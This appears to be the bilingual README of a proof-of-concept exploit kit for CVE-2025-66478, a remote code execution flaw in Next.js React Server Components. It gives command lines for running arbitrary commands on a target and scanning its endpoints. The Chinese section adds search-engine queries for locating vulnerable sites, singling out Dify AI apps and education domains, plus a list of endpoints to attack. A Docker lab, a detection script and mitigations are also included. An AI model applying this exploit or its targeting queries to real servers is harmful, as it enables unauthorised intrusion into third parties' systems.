
CVE-2025-66478 Proof of Concept
CVE-2025-66478 是一个影响 Next.js 应用程序的严重远程代码执行 (RCE) 漏洞,源于 React Server Components (RSC) 协议中的不安全反序列化问题。该漏洞的 CVSS 评分为 10.0(最高级别),允许未经身份验证的攻击者通过特制的 HTTP 请求在易受攻击的服务器上执行任意代码。
该漏洞源于上游 React 实现中的不安全反序列化逻辑(CVE-2025-55182),并影响使用 App Router 的 Next.js 应用程序。问题出在 React Server Components 的 "Flight" 协议中,该协议负责在服务器和客户端之间序列化和反序列化数据。
受影响的 Next.js 版本:
不受影响的版本:
攻击者只需向目标服务器发送一个特制的 HTTP 请求,其中包含恶意构造的 RSC payload。当服务器处理这个 payload 时,由于不安全的反序列化逻辑,攻击者控制的数据可以影响服务器端的执行流程,导致任意 JavaScript 代码的执行。
特别关注: Dify 等 AI 工具成为重灾区,利用成功率较高。这些应用通常使用 Next.js App Router 和 Server Components,因此容易受到此漏洞影响。
常见受影响应用类型:
此工具仅用于教育目的和安全研究。 请勿在未经授权的系统上使用。使用此工具进行任何非法活动均与作者无关。
exploit.js 是一个概念验证脚本,演示了如何构造和发送恶意的 RSC payload。这个脚本包含以下功能:
# 执行特定命令
node exploit.js <目标URL> <命令>
# 示例
node exploit.js http://localhost:3000 "whoami"
# 扫描目标应用程序中的 RSC 端点
node exploit.js <目标URL> --scan
# 示例
node exploit.js http://localhost:3000 --scan
为了安全地演示和测试此漏洞,我们提供了一个完整的 Docker 演示环境,包含一个易受攻击的 Next.js 应用程序。
Windows (PowerShell):
.\setup-demo.ps1
Linux/macOS:
chmod +x setup-demo.sh
./setup-demo.sh
# 1. 构建 Docker 镜像
docker-compose build
# 2. 启动容器
docker-compose up -d
# 3. 查看日志(可选)
docker-compose logs -f
启动后,等待几秒钟,然后访问:
使用提供的 exploit 脚本测试漏洞:
# 基本测试
node exploit.js http://localhost:3000/_rsc "echo test"
# 执行命令
node exploit.js http://localhost:3000/_rsc "whoami"
# 扫描端点
node exploit.js http://localhost:3000 --scan
演示环境包含:
# 查看日志
docker-compose logs -f
# 停止环境
docker-compose down
# 停止并删除数据
docker-compose down -v
# 重启环境
docker-compose restart
⚠️ 重要警告:
test-vulnerability.js 是一个用于检测应用程序是否受此漏洞影响的工具。它会执行以下检查:
# 测试目标应用程序
node test-vulnerability.js <目标URL>
# 示例
node test-vulnerability.js http://localhost:3000
升级 Next.js:将 Next.js 升级到最新版本,该版本已修复此漏洞
npm install next@latest
# 或
yarn upgrade next@latest
# 或
pnpm update next@latest
验证修复:使用 test-vulnerability.js 工具验证修复是否成功
node test-vulnerability.js <目标URL>
如果无法立即升级,可以考虑以下临时缓解措施:
使用 Pages Router:将受影响的路由迁移到 Pages Router,该路由不受此漏洞影响
启用 Edge Runtime:为受影响的路由启用 Edge Runtime,该运行时不受此漏洞影响
// 在页面组件或布局中
export const runtime = 'edge';
该漏洞利用了 React Server Components "Flight" 协议中的不安全反序列化逻辑。当服务器接收到客户端发送的 RSC 请求时,它会反序列化包含组件数据的 payload。由于反序列化过程中缺乏充分的验证,攻击者可以构造恶意 payload,导致服务器执行任意 JavaScript 代码。
要利用此漏洞,攻击者需要满足以下条件:
成功利用此漏洞可以导致:
# 搜索 Next.js 应用(通用)
body="NEXT_DATA" && body="version"
# 搜索 AI 相关应用(Dify 等)
body="NEXT_DATA" && (body="AI" || body="人工智能" || body="大模型" || body="LLM")
# 搜索 Dify 应用
body="NEXT_DATA" && (body="dify" || title="Dify" || body="dify.ai")
# 组合搜索
body="NEXT_DATA" && (body="AI" || body="人工智能") && domain="edu.cn"
# 搜索教育机构中的 Next.js 应用
(web.title="Next.js" OR web.body="NEXT_DATA") && domain="edu.cn"
/_rsc - React Server Components 端点/api/rsc - API RSC 端点/api/chat - Dify 等 AI 工具的聊天端点/api/completion - 完成端点/api/v1/chat - API v1 聊天端点/server-actions - Server Actions 端点CVE-2025-66478 is a critical Remote Code Execution (RCE) vulnerability affecting Next.js applications, stemming from insecure deserialization in the React Server Components (RSC) protocol. With a CVSS score of 10.0 (the highest possible), it allows unauthenticated attackers to execute arbitrary code on vulnerable servers through specially crafted HTTP requests.
The vulnerability originates from insecure deserialization logic in the upstream React implementation (CVE-2025-55182) and affects Next.js applications using App Router. The issue lies in React Server Components' "Flight" protocol, which is responsible for serializing and deserializing data between server and client.
Affected Next.js Versions:
Unaffected Versions:
An attacker only needs to send a specially crafted HTTP request containing malicious RSC payload to the target server. When the server processes this payload, due to insecure deserialization logic, the attacker-controlled data can influence server-side execution flow, leading to arbitrary JavaScript code execution.
This tool is for educational purposes and security research only. Do not use on unauthorized systems. Any illegal activities using this tool are unrelated to the author.
exploit.js is a proof-of-concept script demonstrating how to construct and send malicious RSC payloads. This script includes the following functionalities:
# Execute specific command
node exploit.js <target-url> <command>
# Example
node exploit.js http://localhost:3000 "whoami"
# Scan target application for RSC endpoints
node exploit.js <target-url> --scan
# Example
node exploit.js http://localhost:3000 --scan
To safely demonstrate and test this vulnerability, we provide a complete Docker demo environment containing a vulnerable Next.js application.
Windows (PowerShell):
.\setup-demo.ps1
Linux/macOS:
chmod +x setup-demo.sh
./setup-demo.sh
# 1. Build Docker image
docker-compose build
# 2. Start container
docker-compose up -d
# 3. View logs (optional)
docker-compose logs -f
After starting, wait a few seconds, then access:
Use the provided exploit script to test the vulnerability:
# Basic test
node exploit.js http://localhost:3000/_rsc "echo test"
# Execute command
node exploit.js http://localhost:3000/_rsc "whoami"
# Scan endpoints
node exploit.js http://localhost:3000 --scan
The demo environment includes:
# View logs
docker-compose logs -f
# Stop environment
docker-compose down
# Stop and remove data
docker-compose down -v
# Restart environment
docker-compose restart
⚠️ Important Warnings:
test-vulnerability.js is a tool for detecting whether an application is affected by this vulnerability. It performs the following checks:
# Test target application
node test-vulnerability.js <target-url>
# Example
node test-vulnerability.js http://localhost:3000
Upgrade Next.js: Upgrade Next.js to the latest version, which includes a fix for this vulnerability
npm install next@latest
# or
yarn upgrade next@latest
# or
pnpm update next@latest
Verify Fix: Use the test-vulnerability.js tool to verify the fix was successful
node test-vulnerability.js <target-url>
If an immediate upgrade is not possible, consider the following temporary mitigations:
Use Pages Router: Migrate affected routes to Pages Router, which is not affected by this vulnerability
Enable Edge Runtime: Enable Edge Runtime for affected routes, which is not affected by this vulnerability
// In page component or layout
export const runtime = 'edge';
The vulnerability exploits insecure deserialization logic in React Server Components' "Flight" protocol. When a server receives an RSC request from a client, it deserializes the payload containing component data. Due to insufficient validation during deserialization, attackers can construct malicious payloads that cause the server to execute arbitrary JavaScript code.
To exploit this vulnerability, an attacker needs to:
Successful exploitation can lead to: